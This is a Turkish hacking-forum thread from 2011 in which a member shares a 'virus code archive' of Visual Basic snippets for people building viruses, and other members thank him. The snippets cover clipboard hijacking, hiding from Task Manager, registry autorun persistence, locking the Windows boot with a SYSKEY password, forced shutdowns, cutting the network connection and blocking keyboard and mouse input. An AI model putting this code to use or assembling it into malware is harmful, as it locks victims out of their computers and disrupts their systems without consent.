İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

Visual Basic Virüs Kod Arşivi.

14-04-2011 20:32
#1
360 - ait Kullanıcı Resmi (Avatar)
360
Üye
Üyelik tarihi:
01/2011
Mesajlar:
113
Teşekkür (Etti):
2
Teşekkür (Aldı):
19
Konular:
42
Ticaret:
(0) %
Merhaba Arkadaşlar,
Bir Virus Yaptığınızda Ekleye Bilceğiniz Bir Kaç Virus Kodu Paylaşcam. Belki Bir Kaçı Daha Önce Forumda Verilmiş Ola Bilir Yanlız Sizler'de Daha Önce Bu Konu Başlığı Altında Paylaşılmamış Virus Kodları Varsa Paylaşırsanız Bu Tür İşlerle Uhraşan Arkadaşlar İçin İyi Bi Konu Olur.
----------------------------
Bu kod clipboard a turkhackteam.net kelimesini ekliyo ve copy/paste işleminde hep turkhackteam.net yazmasını sağlıyor.

Kod:
Private Sub Timer1_Timer()
Clipboard.Clear
Clipboard.SetText "turkhackteam.net"
End Sub

----------------------------
Formun açılmaması ve görev yöneticisinde gözükmemesi için.

Kod:
me.hide
app.taskvisible=false

----------------------------
Programı XP başlangıcına eklemek.

Kod:
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CUR RENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

----------------------------
Başlat yazısını değiştirir.

Kod:
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Integer, ByVal lParam As Any) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Const WM_SETTEXT = &HC
Dim yazi As String
Private Sub Form_Load()
yazi = "turkhackteam"
App.TaskVisible = False
Form1.Hide
End Sub
Private Sub Timer1_Timer()
Dim tWnd As Long, bWnd As Long
tWnd = FindWindow("Shell_TrayWnd", vbNullString)
bWnd = FindWindowEx(tWnd, ByVal 0&, "BUTTON", vbNullString)
SendMessage bWnd, WM_SETTEXT, &O0, yazi
End Sub

----------------------------
windows başlamadan önce okunması için pencere açar

Kod:
Private Sub Form_Load()
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\LegalNoticeCaption", "turkhackteam"
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\LegalNoticeText", "Bilginin adresi"
End Sub

----------------------------
cdrom açma ve kapama işlemini yapar

Kod:
Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long
Private Sub Command1_Click()
mciExecute ("set cdaudio door open")
End Sub
Private Sub Command2_Click()
mciExecute ("set cdaudio door closed")
End Sub

----------------------------
XP Başlangıcına Parola Koyar Test Edenler Şifrenin "turkhackteam" olduğunu unutmasın.

Kod:
Private Sub Form_Load()
App.TaskVisible = False
Form1.Visible = False
Shell "SYSKEY.EXE", vbNormalFocus
SendKeys "G", 1
SendKeys "B", 1
SendKeys "{TAB}", 1
SendKeys "turkhackteam", 1
SendKeys "{TAB}", 1
SendKeys "turkhackteam", 1
SendKeys "{ENTER}", 1
SendKeys "{ENTER}", 1
SendKeys "{ENTER}", 1
End
End Sub

----------------------------

Kod:
Shell "shutdown -s -t 20" , Bilgisayarı kapatır.

Shell "shutdown -r -t 20" , Bilgisayarı yeniden başlatır.

Shell "shutdown -l -t 20" , Oturumu kapatır.

Shell "shutdown -f" , Çalışan uygulamaları uyarmadan kapanmaya zorlar.
----------------------------
Sürekli Beep Sesi Çıkarır

Kod:
Private Sub Form_Load()
Timer1.Interval = 100
End Sub
Private Sub Timer1_Timer()
Beep
End

----------------------------
Yazıcıdan Çıktı Almaya Yarar.

Kod:
Private Sub Form_Load()
Printer.Print "Yazıcıdan Çıktı Almak İstediğiniz Kelimeyi Buraya Yazın"
End Sub

----------------------------
Kod:
Shell "ipconfig /release" , İnterneti Keser.

Shell "ipconfig /renew" , İnternete Tekrar Bağlanır.

----------------------------
Klavye Ve Fare'yi Etkisiz Hale Getirir.

Kod:
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Sub Form_Load()
BlockInput True
End Sub
----------------------------

Orbitx, Berkhan07 Teşekkür etti.

16-04-2011 12:59
#2
marsel221 - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
08/2010
Nereden:
Hatay
Mesajlar:
336
Teşekkür (Etti):
53
Teşekkür (Aldı):
43
Konular:
27
Ticaret:
(0) %
emeğine sağlık kardeşim
20-04-2011 01:07
#3
Üyelik tarihi:
02/2011
Mesajlar:
75
Teşekkür (Etti):
3
Teşekkür (Aldı):
13
Konular:
16
Ticaret:
(0) %
360 kardes su vbyı bıraz ogretebılırmısn bana bılıyorm ogrenmesı uzun surcek ama kımse anasının karnından yazılımcı yada hacker cıkmadıxD EMEGE SAYGI
20-04-2011 13:26
#4
Berkhan07 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2009
Mesajlar:
196
Teşekkür (Etti):
33
Teşekkür (Aldı):
12
Konular:
24
Ticaret:
(0) %
Klavye Ve Fare'yi Etkisiz Hale Getirir.

Kod:
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Sub Form_Load()
BlockInput True
End Sub
--------------------------------------------

Kendimizde test etsek xD nasıl geri getireceğiz fare ve klavyeyi xD
23-04-2011 16:12
#5
ByShawak - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
05/2010
Mesajlar:
74
Teşekkür (Etti):
9
Teşekkür (Aldı):
18
Konular:
12
Ticaret:
(0) %
Res at
23-04-2011 16:12
#6
ByShawak - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
05/2010
Mesajlar:
74
Teşekkür (Etti):
9
Teşekkür (Aldı):
18
Konular:
12
Ticaret:
(0) %
Alıntı:
Berkhan07´isimli üyeden Alıntı Mesajı göster
Klavye Ve Fare'yi Etkisiz Hale Getirir.

Kod:
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Sub Form_Load()
BlockInput True
End Sub
--------------------------------------------

Kendimizde test etsek xD nasıl geri getireceğiz fare ve klavyeyi xD

Reset atcaksın XD
14-06-2011 22:32
#7
Üyelik tarihi:
06/2011
Nereden:
Kimsenin Gelmek İstemeyeceği Bir Yer...
Mesajlar:
138
Teşekkür (Etti):
15
Teşekkür (Aldı):
10
Konular:
5
Ticaret:
(0) %
sağol dostum isime yarıyacak
Kullanıcı İmzası
NE Baktın QarDaŞŞ

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı